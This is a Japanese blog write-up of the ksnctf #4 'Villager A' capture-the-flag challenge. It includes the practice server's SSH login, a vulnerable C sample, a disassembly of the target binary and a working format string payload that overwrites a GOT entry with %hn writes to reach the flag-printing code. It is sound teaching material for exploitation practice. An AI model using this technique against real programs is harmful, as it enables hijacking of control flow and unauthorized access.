かたはらいたし。

個人的な技術的な活動をまとめていきたい。

ksnctf #4 Villager A

この問題から脆弱性をついてフラグをゲットするような問題が増えてきています。
序盤ながら、ポイントも300ptとなかなか高めです。
ksnctf - 4 Villager A

Problem

SSH: ctfq.sweetduet.info:10022
ID: q4
Pass: q60SIMpLlej9eq49

SSHで指定されたサーバーにログインしろってことみたいですね。

Analyze

ちょっと一筋縄ではいかなさそうなので、少しずつやっていきます。

とりあえず実行してみる

とりあえず、SSHでログインしないことには始まらないので早速やってみます。

ssh -p 10022 q4@ctfq.sweetduet.info

んで、ログインしてとりあえず状況を見てみるとこんな感じ。

[q4@localhost ~]$ ls
flag.txt  q4  readme.txt

ファイルとしては、おそらくフラグが書かれているであろうflag.txtと実行ファイルのq4、説明が書いてあるreadme.txtがありました。
q4を実行してみます。

[q4@localhost ~]$ ./q4
What's your name?
tmsk8219
Hi, tmsk8219

Do you want the flag?
yes
Do you want the flag?
no
I see. Good bye.
[q4@localhost ~]$

名前を入力して、フラグがほしいか?という質問に対する答えを入力するみたいです。
ちなみに、noと答えるまでずっと同じ質問が繰り返されます。

脆弱性について

初めて取り組んだときにはサッパリわからなかったので、色々ネットで調べてみると、Format String Attackというのができるみたいです。
Format String Attackとは、以下のようなコードを実行した場合に有効な攻撃です。(参考:書式文字列攻撃 - Wikipedia

#include<stdio.h>

int main(void){
	char str[256];
	fgets(str, sizeof(str), stdin);
	printf(str);
	return 0;
}

このようにprintfの中身をprintf("%s", str)ではなくprintf(str)と書いてしまうと、

$ echo -e "aaaa %x %x %x %x %x %x %x %x %x %x" | ./a.out
aaaa 12068 100 103 40 7c190040 0 0 54a6cab0 0 61616161

書式指定子%xが与えられるとprintf("%x")となって、スタックの中身を表示してしまいます。
この場合、スタックの10番目のローカル領域にstrが格納されていることがわかります。

実際にやってみる

今回のq4に対してFormat String Attackをかけてみます。

[q4@localhost ~]$ echo -e "aaaa, %x, %x, %x, %x, %x, %x" | ./q4
What's your name?
Hi, aaaa, 400, 39d440, 8, 14, af0fc4, 61616161

Do you want the flag?

どうやらスタックの6番目のローカル領域に入力した値が格納されるようです。

次に、これらを踏まえた上で逆アセンブルしてみたいと思います。

[q4@localhost ~]$ objdump -d -M intel q4

q4:     file format elf32-i386


Disassembly of section .init:

08048424 <_init>:
 8048424:	55                   	push   ebp
 8048425:	89 e5                	mov    ebp,esp
 8048427:	53                   	push   ebx
 8048428:	83 ec 04             	sub    esp,0x4
 804842b:	e8 00 00 00 00       	call   8048430 <_init+0xc>
~(略)~

Disassembly of section .plt:

08048454 <__gmon_start__@plt-0x10>:
 8048454:	ff 35 d4 99 04 08    	push   DWORD PTR ds:0x80499d4
 804845a:	ff 25 d8 99 04 08    	jmp    DWORD PTR ds:0x80499d8
 8048460:	00 00                	add    BYTE PTR [eax],al
	...

08048464 <__gmon_start__@plt>:
 8048464:	ff 25 dc 99 04 08    	jmp    DWORD PTR ds:0x80499dc
 804846a:	68 00 00 00 00       	push   0x0
 804846f:	e9 e0 ff ff ff       	jmp    8048454 <_init+0x30>

08048474 <putchar@plt>:    ←putcharを実行する際呼ばれる・・・①
 8048474:	ff 25 e0 99 04 08    	jmp    DWORD PTR ds:0x80499e0
 804847a:	68 08 00 00 00       	push   0x8
 804847f:	e9 d0 ff ff ff       	jmp    8048454 <_init+0x30>

08048484 <fgets@plt>:
 8048484:	ff 25 e4 99 04 08    	jmp    DWORD PTR ds:0x80499e4
 804848a:	68 10 00 00 00       	push   0x10
 804848f:	e9 c0 ff ff ff       	jmp    8048454 <_init+0x30>
~(略)~

080485b4 <main>:
 80485b4:       55                      push   ebp
 80485b5:       89 e5                   mov    ebp,esp
 80485b7:       83 e4 f0                and    esp,0xfffffff0
 80485ba:       81 ec 20 04 00 00       sub    esp,0x420
 80485c0:       c7 04 24 a4 87 04 08    mov    DWORD PTR [esp],0x80487a4
 80485c7:       e8 f8 fe ff ff          call   80484c4 <puts@plt>
 80485cc:       a1 04 9a 04 08          mov    eax,ds:0x8049a04
 80485d1:       89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 80485d5:       c7 44 24 04 00 04 00    mov    DWORD PTR [esp+0x4],0x400
 80485dc:       00
 80485dd:       8d 44 24 18             lea    eax,[esp+0x18]
 80485e1:       89 04 24                mov    DWORD PTR [esp],eax
 80485e4:       e8 9b fe ff ff          call   8048484 <fgets@plt>
 80485e9:       c7 04 24 b6 87 04 08    mov    DWORD PTR [esp],0x80487b6
 80485f0:       e8 bf fe ff ff          call   80484b4 <printf@plt>
 80485f5:       8d 44 24 18             lea    eax,[esp+0x18]
 80485f9:       89 04 24                mov    DWORD PTR [esp],eax
 80485fc:       e8 b3 fe ff ff          call   80484b4 <printf@plt>    ←入力された文字列を表示・・・②
 8048601:       c7 04 24 0a 00 00 00    mov    DWORD PTR [esp],0xa
 8048608:       e8 67 fe ff ff          call   8048474 <putchar@plt>    ←ここで'\n'を出力している・・・③
 804860d:       c7 84 24 18 04 00 00    mov    DWORD PTR [esp+0x418],0x1
 8048614:       01 00 00 00
 8048618:       eb 67                   jmp    8048681 <main+0xcd>
 804861a:       c7 04 24 bb 87 04 08    mov    DWORD PTR [esp],0x80487bb
 8048621:       e8 9e fe ff ff          call   80484c4 <puts@plt>
 8048626:       a1 04 9a 04 08          mov    eax,ds:0x8049a04
 804862b:       89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 804862f:       c7 44 24 04 00 04 00    mov    DWORD PTR [esp+0x4],0x400
 8048636:       00
 8048637:       8d 44 24 18             lea    eax,[esp+0x18]
 804863b:       89 04 24                mov    DWORD PTR [esp],eax
 804863e:       e8 41 fe ff ff          call   8048484 <fgets@plt>
 8048643:       85 c0                   test   eax,eax
 8048645:       0f 94 c0                sete   al
 8048648:       84 c0                   test   al,al
 804864a:       74 0a                   je     8048656 <main+0xa2>
 804864c:       b8 00 00 00 00          mov    eax,0x0
 8048651:       e9 86 00 00 00          jmp    80486dc <main+0x128>
 8048656:       c7 44 24 04 d1 87 04    mov    DWORD PTR [esp+0x4],0x80487d1
 804865d:       08
 804865e:       8d 44 24 18             lea    eax,[esp+0x18]
 8048662:       89 04 24                mov    DWORD PTR [esp],eax
 8048665:       e8 7a fe ff ff          call   80484e4 <strcmp@plt>
 804866a:       85 c0                   test   eax,eax
 804866c:       75 13                   jne    8048681 <main+0xcd>
 804866e:       c7 04 24 d5 87 04 08    mov    DWORD PTR [esp],0x80487d5
 8048675:       e8 4a fe ff ff          call   80484c4 <puts@plt>
 804867a:       b8 00 00 00 00          mov    eax,0x0
 804867f:       eb 5b                   jmp    80486dc <main+0x128>
 8048681:       8b 84 24 18 04 00 00    mov    eax,DWORD PTR [esp+0x418]
 8048688:       85 c0                   test   eax,eax
 804868a:       0f 95 c0                setne  al
 804868d:       84 c0                   test   al,al
 804868f:       75 89                   jne    804861a <main+0x66>
 8048691:       c7 44 24 04 e6 87 04    mov    DWORD PTR [esp+0x4],0x80487e6    ←ここからファイルの中身を表示している・・・④
 8048698:       08
 8048699:       c7 04 24 e8 87 04 08    mov    DWORD PTR [esp],0x80487e8
 80486a0:       e8 ff fd ff ff          call   80484a4 <fopen@plt>
 80486a5:       89 84 24 1c 04 00 00    mov    DWORD PTR [esp+0x41c],eax
 80486ac:       8b 84 24 1c 04 00 00    mov    eax,DWORD PTR [esp+0x41c]
 80486b3:       89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 80486b7:       c7 44 24 04 00 04 00    mov    DWORD PTR [esp+0x4],0x400
 80486be:       00
 80486bf:       8d 44 24 18             lea    eax,[esp+0x18]
 80486c3:       89 04 24                mov    DWORD PTR [esp],eax
 80486c6:       e8 b9 fd ff ff          call   8048484 <fgets@plt>
 80486cb:       8d 44 24 18             lea    eax,[esp+0x18]
 80486cf:       89 04 24                mov    DWORD PTR [esp],eax
 80486d2:       e8 dd fd ff ff          call   80484b4 <printf@plt>
 80486d7:       b8 00 00 00 00          mov    eax,0x0
 80486dc:       c9                      leave
 80486dd:       c3                      ret
 80486de:       90                      nop
 80486df:       90                      nop

実際の処理としては、入力された文字を②で表示した後に③および①で\nを出力されているようです。
また、④以降ではfopenを行いフラグを表示する処理を行っているのですが、直前のjmpjneで実行を阻止されています。

そこで、方針としては②でFormat String Attackを使うことによってputcharを呼び出している③を④を呼び出すように書き換えます。
つまり、本来0x080499e0が参照している内容を0x08048691に書き換えます。
ここでは、0x080499e0に下位2バイト(0x86, 0x91)、0x080499e2に上位2バイト(0x08, 0x04)を格納します。
(※8 + 34441 = 0x8691, 8 + 34441 + 33139 = 0x0804)

[q4@localhost ~]$ echo -e "\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%6\$hn%33139x%7\$hn" | ./q4

これでフラグゲットです。

感想とか

個人的にとても難しかったです。メモリについての知識がうろ覚えだったのでネットで転がっているヒントやらを参考に考えました。
正直、自分で答えにたどり着いたというよりはネットに書いてあったことを咀嚼した感の方が強いです。
でも今まで知らなかった書式指定子のhnを知ることができたのは良かったと思います。